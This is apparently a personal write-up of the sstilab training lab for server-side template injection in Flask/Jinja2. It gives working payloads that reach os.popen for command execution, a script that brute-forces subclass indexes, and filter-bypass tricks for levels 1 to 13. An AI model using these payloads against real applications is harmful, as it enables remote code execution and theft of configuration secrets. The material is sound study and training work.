2023/7/28:sstilab记录

Flask
来源:https://xz.aliyun.com/t/12181#toc-8

笔记

魔法方法

__class__
用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 是类的一个内置属性,表示类的类型; 也是类的实例的属性,表示实例对象的类。
例:[].__class__

__bases__
用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组。
例:[].__class__.__bases__

__mro__
获取基类,包含了当前类对象所有继承的基类
例:
''.__class__.__mro__
''.__class__.__mro__[-1]

__subclasses__()
获取当前类的所有子类,即Object的子类。通过拿到Object的子类,使用其中的一些函数,进行文件读取或者命令执行。
例:''.__class__.__mro__[-1].__subclasses__()

__init__
重载子类,获取子类初始化的属性

__globals__
函数会以字典的形式返回当前位置的全部全局变量
例:os._wrap_close.__init__.__globals__ 可以获取到os中的一些函数,进行文件读取。

lipsum
可以用于获得__builtins__lipsum.__globals__有os模块
{{(lipsum|string|list)}}能获得字符位置

解题示例

因某种原因构造出来的payload无法直接使用,需要逐个输入魔法方法
直接从github下载的sstilab会出现flask和jinja2的兼容版本问题,在windows上直接使用作者留下的安装方式不会出现报错,但在ubuntu上会提示无法导入escape模块

1:一句话

1
2
3
4
{% for c in ''.__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}//依不同题目替换此行
{% endif %}{% endfor %}

2:脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://127.0.0.1:5000/level/1"

for i in range(300):
data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
try:
response = requests.post(url,data=data)
#print(data)
#print(response.text)
if response.status_code == 200:
if "_wrap_close" in response.text:
print(i,"----->",response.text)
break
except :
pass

构造出来的payload示例:

1
{{''.__class__.__base__.__subclasses__()[147].__init__.__globals__['popen']('type flag').read()}}

level 1

如以上解题示例2所示,先输入

1
"".__class__.__base__.__subclasses__()

获得当前所有子类列表,使用脚本选择os._wrap_close,为147,选择函数popen执行查看文件命令,最后使用read()读取

level 2

输入检测得知{{`被WAF防御,需要进行替代 可使`{{%print(...)%}}方式代替{{}}`,余下步骤相同 ## level 3(做不出来) 仅会显示输入的语句是否正确 查看下wp 需要使用dnslog外带,也可使用nc命令将文件回显到自己服务器上 但似乎跟前面一样,若构造完整的payload直接输入无法的到结果,之前可能显示“no this level”或者“Hello ” ## level 4 过滤了`[]`

1
2
__getitem()__返回所给的键对应的值,代替索引的[]
__getattribute__获取对象属性或方法,代替魔术方法的[]
payload:
1
{{''.__class__.__base__.__subclasses__().__getitem__(147).__init__.__globals__.__getitem('popen')('type flag').read()}}
## level 5 过滤“\”“' "”
1
request.args:Flask框架中的特殊参数,接受URL地址中的变量数据,此处我们就可以通过构造带参数的url,配合request.args获取构造参数的内容来绕过限制
paylaod:
1
2
3
POST:{{().__class__.__base__.__subclasses__()[147].__init__.__globals__[request.args.a](request.args.b).read()}}

GET:a=popen&b=type flag
## level 6 过滤“_” 需对“_”进行十六进制编码(\x5f)后结合过滤器连接绕过 过滤器:过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数;可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器
1
2
3
4
5
6
7
8
9
10
11
length()获取一个序列或者字典的长度并将其返回
int()将值转换为int类型;
float()将值转换为float类型;
lower()将字符串转换为小写;
upper()将字符串转换为大写;
reverse()反转字符串;
replace(value,old,new)将value中的old替换为new
list()将变量转换为列表类型;
string()将变量转换成字符串类型;
join()将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用;
attr()获取对象的属性;
payload:
1
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(147)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('type flag')|attr("read")()}} 
这次倒是正常出现flag了 ## level 7 过滤了“.” 利用“[]”绕过 payload:
1
{{''['__class__']['__base__']['__subclasses__']()[147]['__init__']['__globals__']['popen']('type flag')['read']()}}
单引号改()显示no this level ## level 8 过滤关键字:class arg form value data request init global open mro base attr 方法如下:
1
2
3
4
5
6
1.字符串拼接
''['__clas''s__']['__ba''se__']['__subc''lasses__']()[147]['__in''it__']['__glo''bals__']['po''pen']('type flag')['read']()
或:
{%set a="__cla"%}{%set aa="ss__%}{{a~aa}}
2.使用过滤器,如join()拼接字符串、reverse()反转字符串、replace()替换字符
3.编码
## level 9 过滤数字 方法1:使用getitem避免索引 方法2;使用过滤器length()将字符长度转换为数字
1
2
3
4
{% for c in ''.__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}
{% endif %}{% endfor %}
## level 10 过滤config,没有全局变量,目标变为获取config文件 可使用变量current_app current_app:允许在应用程序上下文之外访问应用程序对象,如当前请求的应用程序实例。通过current_app变量,可以访问Flask应用程序对象的各种属性和方法,如配置信息、扩展和插件等。 payload:
1
{{get_flashed_messages.__globals__['current_app'].config}}
关于url_for方法:定位,如返回`` 关于get_flashed_message:可显示字符返回信息,需调用flash() ## level 11 过滤“\”,“+”,“request”,“[ ]”,“" '” 引号过滤:`{%set a=dict(__cla=a,ss__=b)|join%}{{()|attr(a)}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
原构造链:
().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()

payload:
{%set a=dict(__cla=a,ss__=b)|join %}# __class__
{%set b=dict(__bas=a,e__=b)|join %}# __base__
{%set c=dict(__subcla=a,sses__=b)|join %}# __subclasses__
{%set d=dict(__ge=a,titem__=a)|join%}# __getitem__
{%set e=dict(__in=a,it__=b)|join %}# __init__
{%set f=dict(__glo=a,bals__=b)|join %}# __globals__
{%set g=dict(pop=a,en=b)|join %}# popen
{%set h=self|string|attr(d)(18)%}# 空格
{%set i=(dict(type=abc)|join,h,dict(flag=b)|join)|join%}# type flag
{%set j=dict(read=a)|join%}# read
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(139)|attr(e)|attr(f)|attr(d)(g)(i)|attr(j)()}}# 拼接

level 12

过滤“_”,“.” ,“\” “’ “”,“[ ]”和数字
构造链:{{x.__init__.__globals__['__builtins__']}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload:
get:
?z=__init__&zz=__globals__&zzz=__builtins__&zzzz=eval&zzzzz=__import__('os').popen('type flag').read()
post:
{%set a={}|select|string|list%}
{%set b=dict(pop=a)|join%}
{%set c=a|attr(b)(self|string|length)%}
{%set d=(c,c,dict(getitem=a)|join,c,c)|join%}
{%set e=dict(args=a)|join%}
{%set f=dict(get=a)|join%}
{%set g=dict(z=a)|join%}
{%set gg=dict(zz=a)|join%}
{%set ggg=dict(zzz=a)|join%}
{%set gggg=dict(zzzz=a)|join%}
{%set ggggg=dict(zzzzz=a)|join%}
{{x|attr(request|attr(e)|attr(f)(g))|attr(request|attr(e)|attr(f)(gg))|attr(d)(request|attr(e)|attr(f)(ggg))|attr(d)(request|attr(e)|attr(f)(gggg))(request|attr(e)|attr(f)(ggggg))}}

level 13

过滤:’_’, ‘.’, ‘\’, ‘’’, ‘“’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{%set a={}|select|string|list%}
{%set ax={}|select|string|list%}
{%set aa=dict(ssss=a)|join%}
{%set aaa=dict(ssssss=a)|join%}
{%set aaaa=dict(ss=a)|join%}
{%set aaaaa=dict(sssss=a)|join%}
{%set b=dict(pop=a)|join%} # pop
{%set c=a|attr(b)(aa|length*aaa|length)%} # _
{%set cc=a|attr(b)(aaaa|length*aaaaa|length)%} # 空格
{%set d=(c,c,dict(get=a,item=a)|join,c,c)|join%} # __getitem__
{%set dd=(c,c,dict(in=a,it=a)|join,c,c)|join%} # __init__
{%set ddd=(c,c,dict(glob=a,als=a)|join,c,c)|join%} # __globals__
{%set dddd=(c,c,dict(buil=a,tins=a)|join,c,c)|join%} # __builtins__
{%set e=(c,c,dict(impo=a,rt=a)|join,c,c)|join%} # __import__
{%set ee=(dict(o=a,s=a)|join)|join%} # os
{%set eee=(dict(po=a,pen=a)|join)|join%} # popen
{%set eeee=(dict(type=a)|join,cc,dict(flag=a)|join)|join%} # type flag
{%set f=(dict(rea=a,d=a)|join)|join%} # read
{{x|attr(dd)|attr(ddd)|attr(d)(dddd)|attr(d)(e)(ee)|attr(eee)(eeee)|attr(f)()}}